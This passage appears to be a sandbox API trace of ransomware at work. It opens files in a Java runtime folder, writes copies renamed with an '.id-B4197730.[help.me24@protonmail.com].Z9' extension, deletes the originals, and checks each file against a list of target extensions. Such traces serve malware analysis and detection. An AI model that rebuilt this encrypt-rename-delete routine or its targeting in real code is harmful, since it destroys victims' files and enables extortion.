	[0162.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.913] lstrlenW (lpString=".jpg") returned 4
	[0162.913] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.913] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.913] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0162.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.914] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=317896) returned 1
	[0162.914] CloseHandle (hObject=0x438) returned 1
	[0162.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20
	[0162.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.915] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.915] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0162.916] GetLastError () returned 0x0
	[0162.916] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4d9c8, lpOverlapped=0x0) returned 1
	[0163.011] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x4d9d0, lpOverlapped=0x0) returned 1
	[0163.018] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.018] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x100, lpOverlapped=0x0) returned 1
	[0163.018] SetEndOfFile (hFile=0x3d4) returned 1
	[0163.019] CloseHandle (hObject=0x3d4) returned 1
	[0163.019] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.019] SetEndOfFile (hFile=0x438) returned 1
	[0163.033] CloseHandle (hObject=0x438) returned 1
	[0163.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.034] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1
	[0163.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.034] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.034] lstrlenW (lpString=".doc") returned 4
	[0163.034] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.034] lstrlenW (lpString=".docx") returned 5
	[0163.034] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0163.034] lstrlenW (lpString=".pdf") returned 4
	[0163.035] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString=".xls") returned 4
	[0163.035] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.035] lstrlenW (lpString=".xlsx") returned 5
	[0163.035] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0163.035] lstrlenW (lpString=".ppt") returned 4
	[0163.035] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString=".zip") returned 4
	[0163.035] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.035] lstrlenW (lpString=".rar") returned 4
	[0163.035] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString=".bz2") returned 4
	[0163.035] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString=".7z") returned 3
	[0163.035] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString=".dbf") returned 4
	[0163.035] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString=".1cd") returned 4
	[0163.035] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString=".jpg") returned 4
	[0163.035] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.035] lstrlenW (lpString=".doc") returned 4
	[0163.035] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.035] lstrlenW (lpString=".docx") returned 5
	[0163.036] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0163.036] lstrlenW (lpString=".pdf") returned 4
	[0163.036] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString=".xls") returned 4
	[0163.036] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.036] lstrlenW (lpString=".xlsx") returned 5
	[0163.036] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0163.036] lstrlenW (lpString=".ppt") returned 4
	[0163.036] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.036] lstrlenW (lpString=".zip") returned 4
	[0163.036] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.036] lstrlenW (lpString=".rar") returned 4
	[0163.036] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString=".bz2") returned 4
	[0163.036] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString=".7z") returned 3
	[0163.036] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.036] lstrlenW (lpString=".dbf") returned 4
	[0163.036] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.036] lstrlenW (lpString=".1cd") returned 4
	[0163.036] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0163.036] lstrlenW (lpString=".jpg") returned 4
	[0163.036] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.036] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0163.037] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0163.037] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.037] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=234068) returned 1
	[0163.037] CloseHandle (hObject=0x438) returned 1
	[0163.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20
	[0163.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.038] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.038] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0163.038] GetLastError () returned 0x0
	[0163.038] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x39254, lpOverlapped=0x0) returned 1
	[0163.242] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x39260, lpOverlapped=0x0) returned 1
	[0163.246] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.246] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x104, lpOverlapped=0x0) returned 1
	[0163.246] SetEndOfFile (hFile=0x3d4) returned 1
	[0163.246] CloseHandle (hObject=0x3d4) returned 1
	[0163.246] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.246] SetEndOfFile (hFile=0x438) returned 1
	[0163.252] CloseHandle (hObject=0x438) returned 1
	[0163.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.252] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1
	[0163.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.253] lstrlenW (lpString=".doc") returned 4
	[0163.253] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.253] lstrlenW (lpString=".docx") returned 5
	[0163.253] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0163.253] lstrlenW (lpString=".pdf") returned 4
	[0163.253] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.253] lstrlenW (lpString=".xls") returned 4
	[0163.253] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.253] lstrlenW (lpString=".xlsx") returned 5
	[0163.253] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0163.253] lstrlenW (lpString=".ppt") returned 4
	[0163.253] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.253] lstrlenW (lpString=".zip") returned 4
	[0163.253] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.253] lstrlenW (lpString=".rar") returned 4
	[0163.254] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString=".bz2") returned 4
	[0163.254] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString=".7z") returned 3
	[0163.254] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString=".dbf") returned 4
	[0163.254] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString=".1cd") returned 4
	[0163.254] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString=".jpg") returned 4
	[0163.254] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString=".doc") returned 4
	[0163.254] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString=".docx") returned 5
	[0163.254] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0163.254] lstrlenW (lpString=".pdf") returned 4
	[0163.254] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString=".xls") returned 4
	[0163.254] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.254] lstrlenW (lpString=".xlsx") returned 5
	[0163.254] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0163.254] lstrlenW (lpString=".ppt") returned 4
	[0163.254] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.254] lstrlenW (lpString=".zip") returned 4
	[0163.254] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.254] lstrlenW (lpString=".rar") returned 4
	[0163.254] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.254] lstrlenW (lpString=".bz2") returned 4
	[0163.254] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.255] lstrlenW (lpString=".7z") returned 3
	[0163.255] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.255] lstrlenW (lpString=".dbf") returned 4
	[0163.255] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.255] lstrlenW (lpString=".1cd") returned 4
	[0163.255] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0163.255] lstrlenW (lpString=".jpg") returned 4
	[0163.255] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.255] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0163.255] lstrlenW (lpString="javafx.properties") returned 17
	[0163.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.256] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=56) returned 1
	[0163.256] CloseHandle (hObject=0x438) returned 1
	[0163.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20
	[0163.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0163.257] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.257] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0163.258] GetLastError () returned 0x0
	[0163.258] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x38, lpOverlapped=0x0) returned 1
	[0163.259] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x40, lpOverlapped=0x0) returned 1
	[0163.260] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.260] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xf6, lpOverlapped=0x0) returned 1
	[0163.261] SetEndOfFile (hFile=0x3d4) returned 1
	[0163.261] CloseHandle (hObject=0x3d4) returned 1
	[0163.261] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.261] SetEndOfFile (hFile=0x438) returned 1
	[0163.264] CloseHandle (hObject=0x438) returned 1
	[0163.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.264] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1
	[0163.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.265] lstrlenW (lpString=".doc") returned 4
	[0163.265] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".docx") returned 5
	[0163.265] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.265] lstrlenW (lpString=".pdf") returned 4
	[0163.265] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".xls") returned 4
	[0163.265] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".xlsx") returned 5
	[0163.265] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.265] lstrlenW (lpString=".ppt") returned 4
	[0163.265] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.265] lstrlenW (lpString=".zip") returned 4
	[0163.265] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".rar") returned 4
	[0163.265] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".bz2") returned 4
	[0163.265] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.265] lstrlenW (lpString=".7z") returned 3
	[0163.265] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".dbf") returned 4
	[0163.266] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".1cd") returned 4
	[0163.266] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".jpg") returned 4
	[0163.266] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".doc") returned 4
	[0163.266] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".docx") returned 5
	[0163.266] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.266] lstrlenW (lpString=".pdf") returned 4
	[0163.266] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".xls") returned 4
	[0163.266] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".xlsx") returned 5
	[0163.266] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.266] lstrlenW (lpString=".ppt") returned 4
	[0163.266] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".zip") returned 4
	[0163.266] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".rar") returned 4
	[0163.266] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".bz2") returned 4
	[0163.266] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.266] lstrlenW (lpString=".7z") returned 3
	[0163.266] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.266] lstrlenW (lpString=".dbf") returned 4
	[0163.266] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.267] lstrlenW (lpString=".1cd") returned 4
	[0163.267] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0163.267] lstrlenW (lpString=".jpg") returned 4
